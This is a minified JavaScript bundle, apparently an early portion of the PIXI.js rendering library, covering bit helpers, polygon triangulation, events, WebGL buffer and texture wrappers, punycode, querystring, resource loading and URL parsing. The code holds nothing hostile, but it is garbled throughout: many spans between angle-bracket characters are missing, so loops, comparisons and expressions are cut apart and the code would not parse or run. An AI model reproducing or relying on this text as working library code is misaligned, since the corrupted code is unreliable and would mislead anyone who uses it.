window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,e.PIXI=t()}}(function(){var t;return function(){function t(e,r,n){function i(s,a){if(!r[s]){if(!e[s]){var u="function"==typeof require&&require;if(!a&&u)return u(s,!0);if(o)return o(s,!0);var h=new Error("Cannot find module '"+s+"'");throw h.code="MODULE_NOT_FOUND",h}var l=r[s]={exports:{}};e[s][0].call(l.exports,function(t){var r=e[s][1][t];return i(r||t)},l,l.exports,t,e,r,n)}return r[s].exports}for(var o="function"==typeof require&&require,s=0;s0)-(t<0)},r.abs=function(t){var e=t>>31;return(t^e)-e},r.min=function(t,e){return e^(t^e)&-(t65535)<<4,t>>>=e,r=(t>255)<<3,t>>>=r,e|=r,r=(t>15)<<2,t>>>=r,e|=r,r=(t>3)<<1,t>>>=r,(e|=r)|t>>1},r.log10=function(t){return t>=1e9?9:t>=1e8?8:t>=1e7?7:t>=1e6?6:t>=1e5?5:t>=1e4?4:t>=1e3?3:t>=100?2:t>=10?1:0},r.popCount=function(t){return t-=t>>>1&1431655765,16843009*((t=(858993459&t)+(t>>>2&858993459))+(t>>>4)&252645135)>>>24},r.countTrailingZeros=n,r.nextPow2=function(t){return t+=0===t,--t,t|=t>>>1,t|=t>>>2,t|=t>>>4,t|=t>>>8,(t|=t>>>16)+1},r.prevPow2=function(t){return t|=t>>>1,t|=t>>>2,t|=t>>>4,t|=t>>>8,(t|=t>>>16)-(t>>>1)},r.parity=function(t){return t^=t>>>16,t^=t>>>8,t^=t>>>4,27030>>>(t&=15)&1};var i=new Array(256);!function(t){for(var e=0;e<256;++e){var r=e,n=e,i=7;for(r>>>=1;r;r>>>=1)n<<=1,n|=1&r,--i;t[e]=n<>>8&255]<<16|i[t>>>16&255]<<8|i[t>>>24&255]},r.interleave2=function(t,e){return t&=65535,t=16711935&(t|t<<8),t=252645135&(t|t<<4),t=858993459&(t|t<<2),t=1431655765&(t|t<<1),e&=65535,e=16711935&(e|e<<8),e=252645135&(e|e<<4),e=858993459&(e|e<<2),e=1431655765&(e|e<<1),t|e<<1},r.deinterleave2=function(t,e){return t=t>>>e&1431655765,t=858993459&(t|t>>>1),t=252645135&(t|t>>>2),t=16711935&(t|t>>>4),(t=65535&(t|t>>>16))<<16>>16},r.interleave3=function(t,e,r){return t&=1023,t=4278190335&(t|t<<16),t=251719695&(t|t<<8),t=3272356035&(t|t<<4),t=1227133513&(t|t<<2),e&=1023,e=4278190335&(e|e<<16),e=251719695&(e|e<<8),e=3272356035&(e|e<<4),e=1227133513&(e|e<<2),t|=e<<1,r&=1023,r=4278190335&(r|r<<16),r=251719695&(r|r<<8),r=3272356035&(r|r<<4),r=1227133513&(r|r<<2),t|r<<2},r.deinterleave3=function(t,e){return t=t>>>e&1227133513,t=3272356035&(t|t>>>2),t=251719695&(t|t>>>4),t=4278190335&(t|t>>>8),(t=1023&(t|t>>>16))<<22>>22},r.nextCombination=function(t){var e=t|t-1;return e+1|(~e&-~e)-1>>>n(t)+1}},{}],2:[function(t,e,r){"use strict";function n(t,e,r){r=r||2;var n=e&&e.length,o=n?e[0]*r:t.length,a=i(t,0,o,r,!0),u=[];if(!a||a.next===a.prev)return u;var h,l,d,f,p,v,g;if(n&&(a=c(t,e,a,r)),t.length>80*r){h=d=t[0],l=f=t[1];for(var y=r;yd&&(d=p),v>f&&(f=v);g=Math.max(d-h,f-l),g=0!==g?1/g:0}return s(a,u,r,h,l,g),u}function i(t,e,r,n,i){var o,s;if(i===A(t,e,r,n)>0)for(o=e;o=e;o-=n)s=P(o,t[o],t[o+1],s);return s&&T(s,s.next)&&(C(s),s=s.next),s}function o(t,e){if(!t)return t;e||(e=t);var r,n=t;do{if(r=!1,n.steiner||!T(n,n.next)&&0!==x(n.prev,n,n.next))n=n.next;else{if(C(n),(n=e=n.prev)===n.next)break;r=!0}}while(r||n!==e);return e}function s(t,e,r,n,i,c,d){if(t){!d&&c&&v(t,n,i,c);for(var f,p,g=t;t.prev!==t.next;)if(f=t.prev,p=t.next,c?u(t,n,i,c):a(t))e.push(f.i/r),e.push(t.i/r),e.push(p.i/r),C(t),t=p.next,g=p.next;else if((t=p)===g){d?1===d?(t=h(t,e,r),s(t,e,r,n,i,c,2)):2===d&&l(t,e,r,n,i,c):s(o(t),e,r,n,i,c,1);break}}}function a(t){var e=t.prev,r=t,n=t.next;if(x(e,r,n)>=0)return!1;for(var i=t.next.next;i!==t.prev;){if(_(e.x,e.y,r.x,r.y,n.x,n.y,i.x,i.y)&&x(i.prev,i,i.next)>=0)return!1;i=i.next}return!0}function u(t,e,r,n){var i=t.prev,o=t,s=t.next;if(x(i,o,s)>=0)return!1;for(var a=i.xo.x?i.x>s.x?i.x:s.x:o.x>s.x?o.x:s.x,l=i.y>o.y?i.y>s.y?i.y:s.y:o.y>s.y?o.y:s.y,c=y(a,u,e,r,n),d=y(h,l,e,r,n),f=t.prevZ,p=t.nextZ;f&&f.z>=c&&p&&p.z<=d;){if(f!==t.prev&&f!==t.next&&_(i.x,i.y,o.x,o.y,s.x,s.y,f.x,f.y)&&x(f.prev,f,f.next)>=0)return!1;if(f=f.prevZ,p!==t.prev&&p!==t.next&&_(i.x,i.y,o.x,o.y,s.x,s.y,p.x,p.y)&&x(p.prev,p,p.next)>=0)return!1;p=p.nextZ}for(;f&&f.z>=c;){if(f!==t.prev&&f!==t.next&&_(i.x,i.y,o.x,o.y,s.x,s.y,f.x,f.y)&&x(f.prev,f,f.next)>=0)return!1;f=f.prevZ}for(;p&&p.z<=d;){if(p!==t.prev&&p!==t.next&&_(i.x,i.y,o.x,o.y,s.x,s.y,p.x,p.y)&&x(p.prev,p,p.next)>=0)return!1;p=p.nextZ}return!0}function h(t,e,r){var n=t;do{var i=n.prev,o=n.next.next;!T(i,o)&&w(i,n,n.next,o)&&S(i,o)&&S(o,i)&&(e.push(i.i/r),e.push(n.i/r),e.push(o.i/r),C(n),C(n.next),n=t=o),n=n.next}while(n!==t);return n}function l(t,e,r,n,i,a){var u=t;do{for(var h=u.next.next;h!==u.prev;){if(u.i!==h.i&&b(u,h)){var l=M(u,h);return u=o(u,u.next),l=o(l,l.next),s(u,e,r,n,i,a),void s(l,e,r,n,i,a)}h=h.next}u=u.next}while(u!==t)}function c(t,e,r,n){var s,a,u,h,l,c=[];for(s=0,a=e.length;s=n.next.y&&n.next.y!==n.y){var a=n.x+(o-n.y)*(n.next.x-n.x)/(n.next.y-n.y);if(a<=i&&a>s){if(s=a,a===i){if(o===n.y)return n;if(o===n.next.y)return n.next}r=n.x=n.x&&n.x>=l&&i!==n.x&&_(or.x)&&S(n,t)&&(r=n,d=u),n=n.next;return r}function v(t,e,r,n){var i=t;do{null===i.z&&(i.z=y(i.x,i.y,e,r,n)),i.prevZ=i.prev,i.nextZ=i.next,i=i.next}while(i!==t);i.prevZ.nextZ=null,i.prevZ=null,g(i)}function g(t){var e,r,n,i,o,s,a,u,h=1;do{for(r=t,t=null,o=null,s=0;r;){for(s++,n=r,a=0,e=0;e0||u>0&&n;)0!==a&&(0===u||!n||r.z<=n.z)?(i=r,r=r.nextZ,a--):(i=n,n=n.nextZ,u--),o?o.nextZ=i:t=i,i.prevZ=o,o=i;r=n}o.nextZ=null,h*=2}while(s>1);return t}function y(t,e,r,n,i){return t=32767*(t-r)*i,e=32767*(e-n)*i,t=16711935&(t|t<<8),t=252645135&(t|t<<4),t=858993459&(t|t<<2),t=1431655765&(t|t<<1),e=16711935&(e|e<<8),e=252645135&(e|e<<4),e=858993459&(e|e<<2),e=1431655765&(e|e<<1),t|e<<1}function m(t){var e=t,r=t;do{e.x=0&&(t-s)*(n-a)-(r-s)*(e-a)>=0&&(r-s)*(o-a)-(i-s)*(n-a)>=0}function b(t,e){return t.next.i!==e.i&&t.prev.i!==e.i&&!E(t,e)&&S(t,e)&&S(e,t)&&O(t,e)}function x(t,e,r){return(e.y-t.y)*(r.x-e.x)-(e.x-t.x)*(r.y-e.y)}function T(t,e){return t.x===e.x&&t.y===e.y}function w(t,e,r,n){return!!(T(t,e)&&T(r,n)||T(t,n)&&T(r,e))||x(t,e,r)>0!=x(t,e,n)>0&&x(r,n,t)>0!=x(r,n,e)>0}function E(t,e){var r=t;do{if(r.i!==t.i&&r.next.i!==t.i&&r.i!==e.i&&r.next.i!==e.i&&w(r,r.next,t,e))return!0;r=r.next}while(r!==t);return!1}function S(t,e){return x(t.prev,t,t.next)<0?x(t,e,t.next)>=0&&x(t,t.prev,e)>=0:x(t,e,t.prev)<0||x(t,t.next,e)<0}function O(t,e){var r=t,n=!1,i=(t.x+e.x)/2,o=(t.y+e.y)/2;do{r.y>o!=r.next.y>o&&r.next.y!==r.y&&i<(r.next.x-r.x)*(o-r.y)/(r.next.y-r.y)+r.x&&(n=!n),r=r.next}while(r!==t);return n}function M(t,e){var r=new R(t.i,t.x,t.y),n=new R(e.i,e.x,e.y),i=t.next,o=e.prev;return t.next=e,e.prev=t,r.next=i,i.prev=r,n.next=r,r.prev=n,o.next=n,n.prev=o,n}function P(t,e,r,n){var i=new R(t,e,r);return n?(i.next=n.next,i.prev=n,n.next.prev=i,n.next=i):(i.prev=i,i.next=i),i}function C(t){t.next.prev=t.prev,t.prev.next=t.next,t.prevZ&&(t.prevZ.nextZ=t.nextZ),t.nextZ&&(t.nextZ.prevZ=t.prevZ)}function R(t,e,r){this.i=t,this.x=e,this.y=r,this.prev=null,this.next=null,this.z=null,this.prevZ=null,this.nextZ=null,this.steiner=!1}function A(t,e,r,n){for(var i=0,o=e,s=r-n;o0&&(n+=t[i-1].length,r.holes.push(n))}return r}},{}],3:[function(t,e,r){"use strict";function n(){}function i(t,e,r){this.fn=t,this.context=e,this.once=r||!1}function o(){this._events=new n,this._eventsCount=0}var s=Object.prototype.hasOwnProperty,a="~";Object.create&&(n.prototype=Object.create(null),(new n).__proto__||(a=!1)),o.prototype.eventNames=function(){var t,e,r=[];if(0===this._eventsCount)return r;for(e in t=this._events)s.call(t,e)&&r.push(a?e.slice(1):e);return Object.getOwnPropertySymbols?r.concat(Object.getOwnPropertySymbols(t)):r},o.prototype.listeners=function(t,e){var r=a?a+t:t,n=this._events[r];if(e)return!!n;if(!n)return[];if(n.fn)return[n.fn];for(var i=0,o=n.length,s=new Array(o);i=0;n--){var i=t[n];"."===i?t.splice(n,1):".."===i?(t.splice(n,1),r++):r&&(t.splice(n,1),r--)}if(e)for(;r--;r)t.unshift("..");return t}function n(t,e){if(t.filter)return t.filter(e);for(var r=[],n=0;n=-1&&!i;o--){var s=o>=0?arguments[o]:t.cwd();if("string"!=typeof s)throw new TypeError("Arguments to path.resolve must be strings");s&&(r=s+"/"+r,i="/"===s.charAt(0))}return r=e(n(r.split("/"),function(t){return!!t}),!i).join("/"),(i?"/":"")+r||"."},r.normalize=function(t){var i=r.isAbsolute(t),o="/"===s(t,-1);return t=e(n(t.split("/"),function(t){return!!t}),!i).join("/"),t||i||(t="."),t&&o&&(t+="/"),(i?"/":"")+t},r.isAbsolute=function(t){return"/"===t.charAt(0)},r.join=function(){var t=Array.prototype.slice.call(arguments,0);return r.normalize(n(t,function(t,e){if("string"!=typeof t)throw new TypeError("Arguments to path.join must be strings");return t}).join("/"))},r.relative=function(t,e){function n(t){for(var e=0;e=0&&""===t[r];r--);return e>r?[]:t.slice(e,r-e+1)}t=r.resolve(t).substr(1),e=r.resolve(e).substr(1);for(var i=n(t.split("/")),o=n(e.split("/")),s=Math.min(i.length,o.length),a=s,u=0;u=t.byteLength?n.bufferSubData(this.type,e,t):n.bufferData(this.type,t,this.drawType),this.data=t},i.prototype.bind=function(){this.gl.bindBuffer(this.type,this.buffer)},i.createVertexBuffer=function(t,e,r){return new i(t,t.ARRAY_BUFFER,e,r)},i.createIndexBuffer=function(t,e,r){return new i(t,t.ELEMENT_ARRAY_BUFFER,e,r)},i.create=function(t,e,r,n){return new i(t,e,r,n)},i.prototype.destroy=function(){this.gl.deleteBuffer(this.buffer)},e.exports=i},{}],10:[function(t,e,r){var n=t("./GLTexture"),i=function(t,e,r){this.gl=t,this.framebuffer=t.createFramebuffer(),this.stencil=null,this.texture=null,this.width=e||100,this.height=r||100};i.prototype.enableTexture=function(t){var e=this.gl;this.texture=t||new n(e),this.texture.bind(),this.bind(),e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,this.texture.texture,0)},i.prototype.enableStencil=function(){if(!this.stencil){var t=this.gl;this.stencil=t.createRenderbuffer(),t.bindRenderbuffer(t.RENDERBUFFER,this.stencil),t.framebufferRenderbuffer(t.FRAMEBUFFER,t.DEPTH_STENCIL_ATTACHMENT,t.RENDERBUFFER,this.stencil),t.renderbufferStorage(t.RENDERBUFFER,t.DEPTH_STENCIL,this.width,this.height)}},i.prototype.clear=function(t,e,r,n){this.bind();var i=this.gl;i.clearColor(t,e,r,n),i.clear(i.COLOR_BUFFER_BIT|i.DEPTH_BUFFER_BIT)},i.prototype.bind=function(){var t=this.gl;t.bindFramebuffer(t.FRAMEBUFFER,this.framebuffer)},i.prototype.unbind=function(){var t=this.gl;t.bindFramebuffer(t.FRAMEBUFFER,null)},i.prototype.resize=function(t,e){var r=this.gl;this.width=t,this.height=e,this.texture&&this.texture.uploadData(null,t,e),this.stencil&&(r.bindRenderbuffer(r.RENDERBUFFER,this.stencil),r.renderbufferStorage(r.RENDERBUFFER,r.DEPTH_STENCIL,t,e))},i.prototype.destroy=function(){var t=this.gl;this.texture&&this.texture.destroy(),t.deleteFramebuffer(this.framebuffer),this.gl=null,this.stencil=null,this.texture=null},i.createRGBA=function(t,e,r,o){var s=n.fromData(t,null,e,r);s.enableNearestScaling(),s.enableWrapClamp();var a=new i(t,e,r);return a.enableTexture(s),a.unbind(),a},i.createFloat32=function(t,e,r,o){var s=new n.fromData(t,o,e,r);s.enableNearestScaling(),s.enableWrapClamp();var a=new i(t,e,r);return a.enableTexture(s),a.unbind(),a},e.exports=i},{"./GLTexture":12}],11:[function(t,e,r){var n=t("./shader/compileProgram"),i=t("./shader/extractAttributes"),o=t("./shader/extractUniforms"),s=t("./shader/setPrecision"),a=t("./shader/generateUniformAccessObject"),u=function(t,e,r,u,h){this.gl=t,u&&(e=s(e,u),r=s(r,u)),this.program=n(t,e,r,h),this.attributes=i(t,this.program),this.uniformData=o(t,this.program),this.uniforms=a(t,this.uniformData)};u.prototype.bind=function(){return this.gl.useProgram(this.program),this},u.prototype.destroy=function(){this.attributes=null,this.uniformData=null,this.uniforms=null,this.gl.deleteProgram(this.program)},e.exports=u},{"./shader/compileProgram":17,"./shader/extractAttributes":19,"./shader/extractUniforms":20,"./shader/generateUniformAccessObject":21,"./shader/setPrecision":25}],12:[function(t,e,r){var n=function(t,e,r,n,i){this.gl=t,this.texture=t.createTexture(),this.mipmap=!1,this.premultiplyAlpha=!1,this.width=e||-1,this.height=r||-1,this.format=n||t.RGBA,this.type=i||t.UNSIGNED_BYTE};n.prototype.upload=function(t){this.bind();var e=this.gl;e.pixelStorei(e.UNPACK_PREMULTIPLY_ALPHA_WEBGL,this.premultiplyAlpha);var r=t.videoWidth||t.width,n=t.videoHeight||t.height;n!==this.height||r!==this.width?e.texImage2D(e.TEXTURE_2D,0,this.format,this.format,this.type,t):e.texSubImage2D(e.TEXTURE_2D,0,0,0,this.format,this.type,t),this.width=r,this.height=n};var i=!1;n.prototype.uploadData=function(t,e,r){this.bind();var n=this.gl;if(t instanceof Float32Array){if(!i){if(!n.getExtension("OES_texture_float"))throw new Error("floating point textures not available");i=!0}this.type=n.FLOAT}else this.type=this.type||n.UNSIGNED_BYTE;n.pixelStorei(n.UNPACK_PREMULTIPLY_ALPHA_WEBGL,this.premultiplyAlpha),e!==this.width||r!==this.height?n.texImage2D(n.TEXTURE_2D,0,this.format,e,r,0,this.format,this.type,t||null):n.texSubImage2D(n.TEXTURE_2D,0,0,0,e,r,this.format,this.type,t||null),this.width=e,this.height=r},n.prototype.bind=function(t){var e=this.gl;void 0!==t&&e.activeTexture(e.TEXTURE0+t),e.bindTexture(e.TEXTURE_2D,this.texture)},n.prototype.unbind=function(){var t=this.gl;t.bindTexture(t.TEXTURE_2D,null)},n.prototype.minFilter=function(t){var e=this.gl;this.bind(),this.mipmap?e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MIN_FILTER,t?e.LINEAR_MIPMAP_LINEAR:e.NEAREST_MIPMAP_NEAREST):e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MIN_FILTER,t?e.LINEAR:e.NEAREST)},n.prototype.magFilter=function(t){var e=this.gl;this.bind(),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MAG_FILTER,t?e.LINEAR:e.NEAREST)},n.prototype.enableMipmap=function(){var t=this.gl;this.bind(),this.mipmap=!0,t.generateMipmap(t.TEXTURE_2D)},n.prototype.enableLinearScaling=function(){this.minFilter(!0),this.magFilter(!0)},n.prototype.enableNearestScaling=function(){this.minFilter(!1),this.magFilter(!1)},n.prototype.enableWrapClamp=function(){var t=this.gl;this.bind(),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.CLAMP_TO_EDGE)},n.prototype.enableWrapRepeat=function(){var t=this.gl;this.bind(),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.REPEAT),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.REPEAT)},n.prototype.enableWrapMirrorRepeat=function(){var t=this.gl;this.bind(),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.MIRRORED_REPEAT),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.MIRRORED_REPEAT)},n.prototype.destroy=function(){this.gl.deleteTexture(this.texture)},n.fromSource=function(t,e,r){var i=new n(t);return i.premultiplyAlpha=r||!1,i.upload(e),i},n.fromData=function(t,e,r,i){var o=new n(t);return o.uploadData(e,r,i),o},e.exports=n},{}],13:[function(t,e,r){function n(t,e){if(this.nativeVaoExtension=null,n.FORCE_NATIVE||(this.nativeVaoExtension=t.getExtension("OES_vertex_array_object")||t.getExtension("MOZ_OES_vertex_array_object")||t.getExtension("WEBKIT_OES_vertex_array_object")),this.nativeState=e,this.nativeVaoExtension){this.nativeVao=this.nativeVaoExtension.createVertexArrayOES();var r=t.getParameter(t.MAX_VERTEX_ATTRIBS);this.nativeState={tempAttribState:new Array(r),attribState:new Array(r)}}this.gl=t,this.attributes=[],this.indexBuffer=null,this.dirty=!1}var i=t("./setVertexAttribArrays");n.prototype.constructor=n,e.exports=n,n.FORCE_NATIVE=!1,n.prototype.bind=function(){if(this.nativeVao){if(this.nativeVaoExtension.bindVertexArrayOES(this.nativeVao),this.dirty)return this.dirty=!1,this.activate(),this;this.indexBuffer&&this.indexBuffer.bind()}else this.activate();return this},n.prototype.unbind=function(){return this.nativeVao&&this.nativeVaoExtension.bindVertexArrayOES(null),this},n.prototype.activate=function(){for(var t=this.gl,e=null,r=0;r1)for(var r=1;r1&&(n=r[0]+"@",t=r[1]),t=t.replace(D,"."),n+s(t.split("."),e).join(".")}function u(t){for(var e,r,n=[],i=0,o=t.length;i=55296&&e<=56319&&i65535&&(t-=65536,e+=k(t>>>10&1023|55296),t=56320|1023&t),e+=k(t)}).join("")}function l(t){return t-48<10?t-22:t-65<26?t-65:t-97<26?t-97:w}function c(t,e){return t+22+75*(t<26)-((0!=e)<<5)}function d(t,e,r){var n=0;for(t=r?B(t/M):t>>1,t+=B(t/e);t>N*S>>1;n+=w)t=B(t/N);return B(n+(N+1)*t/(t+O))}function f(t){var e,r,n,i,s,a,u,c,f,p,v=[],g=t.length,y=0,m=C,_=P;for(r=t.lastIndexOf(R),r<0&&(r=0),n=0;n=128&&o("not-basic"),v.push(t.charCodeAt(n));for(i=r>0?r+1:0;i=g&&o("invalid-input"),c=l(t.charCodeAt(i++)),(c>=w||c>B((T-y)/a))&&o("overflow"),y+=c*a,f=u<=_?E:u>=_+S?S:u-_,!(cB(T/p)&&o("overflow"),a*=p;e=v.length+1,_=d(y-s,e,0==s),B(y/e)>T-m&&o("overflow"),m+=B(y/e),y%=e,v.splice(y++,0,m)}return h(v)}function p(t){var e,r,n,i,s,a,h,l,f,p,v,g,y,m,_,b=[];for(t=u(t),g=t.length,e=C,r=0,s=P,a=0;a=e&&vB((T-r)/y)&&o("overflow"),r+=(h-e)*y,e=h,a=0;aT&&o("overflow"),v==e){for(l=r,f=w;p=f<=s?E:f>=s+S?S:f-s,!(l= 0x80 (not a basic code point)","invalid-input":"Invalid input"},N=w-E,B=Math.floor,k=String.fromCharCode;if(b={version:"1.4.1",ucs2:{decode:u,encode:h},decode:f,encode:p,toASCII:g,toUnicode:v},"function"==typeof t&&"object"==typeof t.amd&&t.amd)t("punycode",function(){return b});else if(y&&m)if(r.exports==y)m.exports=b;else for(x in b)b.hasOwnProperty(x)&&(y[x]=b[x]);else i.punycode=b}(this)}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],28:[function(t,e,r){"use strict";function n(t,e){return Object.prototype.hasOwnProperty.call(t,e)}e.exports=function(t,e,r,o){e=e||"&",r=r||"=";var s={};if("string"!=typeof t||0===t.length)return s;var a=/\+/g;t=t.split(e);var u=1e3;o&&"number"==typeof o.maxKeys&&(u=o.maxKeys);var h=t.length;u>0&&h>u&&(h=u);for(var l=0;l=0?(c=v.substr(0,g),d=v.substr(g+1)):(c=v,d=""),f=decodeURIComponent(c),p=decodeURIComponent(d),n(s,f)?i(s[f])?s[f].push(p):s[f]=[s[f],p]:s[f]=p}return s};var i=Array.isArray||function(t){return"[object Array]"===Object.prototype.toString.call(t)}},{}],29:[function(t,e,r){"use strict";function n(t,e){if(t.map)return t.map(e);for(var r=[],n=0;n=i||0===r)){r=e+r>i?i-e:r;var o=i-r;for(n=e;n0&&void 0!==arguments[0]?arguments[0]:"",n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:10;i(this,t),this.baseUrl=r,this.progress=0,this.loading=!1,this.defaultQueryString="",this._beforeMiddleware=[],this._afterMiddleware=[],this._resourcesParsing=[],this._boundLoadResource=function(t,r){return e._loadResource(t,r)},this._queue=d.queue(this._boundLoadResource,n),this._queue.pause(),this.resources={},this.onProgress=new u.default,this.onError=new u.default,this.onLoad=new u.default,this.onStart=new u.default,this.onComplete=new u.default;for(var o=0;o0||e.responseType===t.XHR_RESPONSE_TYPE.BUFFER)?n=200:1223===n&&(n=204),2!=(n/100|0))return void this.abort("["+e.status+"] "+e.statusText+": "+e.responseURL);if(this.xhrType===t.XHR_RESPONSE_TYPE.TEXT)this.data=r,this.type=t.TYPE.TEXT;else if(this.xhrType===t.XHR_RESPONSE_TYPE.JSON)try{this.data=JSON.parse(r),this.type=t.TYPE.JSON}catch(t){return void this.abort("Error trying to parse loaded json: "+t)}else if(this.xhrType===t.XHR_RESPONSE_TYPE.DOCUMENT)try{if(window.DOMParser){var i=new DOMParser;this.data=i.parseFromString(r,"text/xml")}else{var o=document.createElement("div");o.innerHTML=r,this.data=o}this.type=t.TYPE.XML}catch(t){return void this.abort("Error trying to parse loaded xml: "+t)}else this.data=e.response||r;this.complete()},t.prototype._determineCrossOrigin=function(t,e){if(0===t.indexOf("data:"))return"";if(window.origin!==window.location.origin)return"anonymous";e=e||window.location,p||(p=document.createElement("a")),p.href=t,t=(0,l.default)(p.href,{strictMode:!0});var r=!t.port&&""===e.port||t.port===e.port,n=t.protocol?t.protocol+":":"";return t.host===e.hostname&&r&&n===e.protocol?"":"anonymous"},t.prototype._determineXhrType=function(){return t._xhrTypeMap[this.extension]||t.XHR_RESPONSE_TYPE.TEXT},t.prototype._determineLoadType=function(){return t._loadTypeMap[this.extension]||t.LOAD_TYPE.XHR},t.prototype._getExtension=function(){var t=this.url,e="";if(this.isDataUrl){var r=t.indexOf("/");e=t.substring(r+1,t.indexOf(";",r))}else{var n=t.indexOf("?"),i=t.indexOf("#"),o=Math.min(n>-1?n:t.length,i>-1?i:t.length);t=t.substring(0,o),e=t.substring(t.lastIndexOf(".")+1)}return e.toLowerCase()},t.prototype._getMimeFromXhrType=function(e){switch(e){case t.XHR_RESPONSE_TYPE.BUFFER:return"application/octet-binary";case t.XHR_RESPONSE_TYPE.BLOB:return"application/blob";case t.XHR_RESPONSE_TYPE.DOCUMENT:return"application/xml";case t.XHR_RESPONSE_TYPE.JSON:return"application/json";case t.XHR_RESPONSE_TYPE.DEFAULT:case t.XHR_RESPONSE_TYPE.TEXT:default:return"text/plain"}},u(t,[{key:"isDataUrl",get:function(){return this._hasFlag(t.STATUS_FLAGS.DATA_URL)}},{key:"isComplete",get:function(){return this._hasFlag(t.STATUS_FLAGS.COMPLETE)}},{key:"isLoading",get:function(){return this._hasFlag(t.STATUS_FLAGS.LOADING)}}]),t}();v.STATUS_FLAGS={NONE:0,DATA_URL:1,COMPLETE:2,LOADING:4},v.TYPE={UNKNOWN:0,JSON:1,XML:2,IMAGE:3,AUDIO:4,VIDEO:5,TEXT:6},v.LOAD_TYPE={XHR:1,IMAGE:2,AUDIO:3,VIDEO:4},v.XHR_RESPONSE_TYPE={DEFAULT:"text",BUFFER:"arraybuffer",BLOB:"blob",DOCUMENT:"document",JSON:"json",TEXT:"text"},v._loadTypeMap={gif:v.LOAD_TYPE.IMAGE,png:v.LOAD_TYPE.IMAGE,bmp:v.LOAD_TYPE.IMAGE,jpg:v.LOAD_TYPE.IMAGE,jpeg:v.LOAD_TYPE.IMAGE,tif:v.LOAD_TYPE.IMAGE,tiff:v.LOAD_TYPE.IMAGE,webp:v.LOAD_TYPE.IMAGE,tga:v.LOAD_TYPE.IMAGE,svg:v.LOAD_TYPE.IMAGE,"svg+xml":v.LOAD_TYPE.IMAGE,mp3:v.LOAD_TYPE.AUDIO,ogg:v.LOAD_TYPE.AUDIO,wav:v.LOAD_TYPE.AUDIO,mp4:v.LOAD_TYPE.VIDEO,webm:v.LOAD_TYPE.VIDEO},v._xhrTypeMap={xhtml:v.XHR_RESPONSE_TYPE.DOCUMENT,html:v.XHR_RESPONSE_TYPE.DOCUMENT,htm:v.XHR_RESPONSE_TYPE.DOCUMENT,xml:v.XHR_RESPONSE_TYPE.DOCUMENT,tmx:v.XHR_RESPONSE_TYPE.DOCUMENT,svg:v.XHR_RESPONSE_TYPE.DOCUMENT,tsx:v.XHR_RESPONSE_TYPE.DOCUMENT,gif:v.XHR_RESPONSE_TYPE.BLOB,png:v.XHR_RESPONSE_TYPE.BLOB,bmp:v.XHR_RESPONSE_TYPE.BLOB,jpg:v.XHR_RESPONSE_TYPE.BLOB,jpeg:v.XHR_RESPONSE_TYPE.BLOB,tif:v.XHR_RESPONSE_TYPE.BLOB,tiff:v.XHR_RESPONSE_TYPE.BLOB,webp:v.XHR_RESPONSE_TYPE.BLOB,tga:v.XHR_RESPONSE_TYPE.BLOB,json:v.XHR_RESPONSE_TYPE.JSON,text:v.XHR_RESPONSE_TYPE.TEXT,txt:v.XHR_RESPONSE_TYPE.TEXT,ttf:v.XHR_RESPONSE_TYPE.BUFFER,otf:v.XHR_RESPONSE_TYPE.BUFFER},v.EMPTY_GIF="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==",void 0!==e&&(e.exports.default=v)},{"mini-signals":5,"parse-uri":7}],34:[function(t,e,r){"use strict";function n(){}function i(t,e,r,n){var i=0,o=t.length;!function s(a){if(a||i===o)return void(r&&r(a));n?setTimeout(function(){e(t[i++],s)},1):e(t[i++],s)}()}function o(t){return function(){if(null===t)throw new Error("Callback was already called.");var e=t;t=null,e.apply(this,arguments)}}function s(t,e){function r(t,e,r){if(null!=r&&"function"!=typeof r)throw new Error("task callback must be a function");if(a.started=!0,null==t&&a.idle())return void setTimeout(function(){return a.drain()},1);var i={data:t,callback:"function"==typeof r?r:n};e?a._tasks.unshift(i):a._tasks.push(i),setTimeout(function(){return a.process()},1)}function i(t){return function(){s-=1,t.callback.apply(t,arguments),null!=arguments[0]&&a.error(arguments[0],t.data),s<=a.concurrency-a.buffer&&a.unsaturated(),a.idle()&&a.drain(),a.process()}}if(null==e)e=1;else if(0===e)throw new Error("Concurrency must not be zero");var s=0,a={_tasks:[],concurrency:e,saturated:n,unsaturated:n,buffer:e/4,empty:n,drain:n,error:n,started:!1,paused:!1,push:function(t,e){r(t,!1,e)},kill:function(){s=0,a.drain=n,a.started=!1,a._tasks=[]},unshift:function(t,e){r(t,!0,e)},process:function(){for(;!a.paused&&s>2,o[1]=(3&n[0])<<4|n[1]>>4,o[2]=(15&n[1])<<2|n[2]>>6,o[3]=63&n[2];switch(r-(t.length-1)){case 2:o[3]=64,o[2]=64;break;case 1:o[3]=64}for(var a=0;a",'"',"`"," ","\r","\n","\t"],p=["{","}","|","\\","^","`"].concat(f),v=["'"].concat(p),g=["%","/","?",";","#"].concat(v),y=["/","?","#"],m=/^[+a-z0-9A-Z_-]{0,63}$/,_=/^([+a-z0-9A-Z_-]{0,63})(.*)$/,b={javascript:!0,"javascript:":!0},x={javascript:!0,"javascript:":!0},T={http:!0,https:!0,ftp:!0,gopher:!0,file:!0,"http:":!0,"https:":!0,"ftp:":!0,"gopher:":!0,"file:":!0},w=t("querystring");n.prototype.parse=function(t,e,r){if(!h.isString(t))throw new TypeError("Parameter 'url' must be a string, not "+typeof t);var n=t.indexOf("?"),i=-1!==n&&n127?L+="x":L+=D[N];if(!L.match(m)){var k=A.slice(0,O),F=A.slice(O+1),j=D.match(_);j&&(k.push(j[1]),F.unshift(j[2])),F.length&&(a="/"+F.join(".")+a),this.hostname=k.join(".");break}}} 